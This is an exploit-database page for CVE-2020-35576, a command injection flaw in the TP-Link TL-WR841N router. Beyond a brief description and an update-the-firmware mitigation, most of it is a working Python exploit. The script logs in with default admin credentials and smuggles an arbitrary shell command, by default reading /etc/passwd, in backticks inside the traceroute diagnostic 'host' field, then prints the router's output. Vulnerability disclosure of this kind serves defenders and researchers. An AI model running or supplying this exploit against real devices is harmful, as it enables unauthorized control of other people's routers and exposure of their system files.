TP-Link TL-WR841N - Command Injection

vendor:

TL-WR841N

by:

Koh You Liang

8,8

CVSS

HIGH

Command Injection

CWE

Product Name: TL-WR841N

Affected Version From: TL-WR841N 0.9.1 4.0

Affected Version To: TL-WR841N 0.9.1 4.0

Patch Exists: YES

Related CWE: CVE-2020-35576

CPE: h:tp-link:tl-wr841n

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=154332

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2020

TP-Link TL-WR841N – Command Injection

A command injection vulnerability exists in TP-Link TL-WR841N 0.9.1 4.0. An attacker can send a malicious payload to the router via a POST request to the /cgi?2 endpoint, which will be executed on the router. This can be exploited to execute arbitrary commands on the router.

Mitigation:

Users should update their router to the latest version to patch this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35576

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd=`")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')
if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break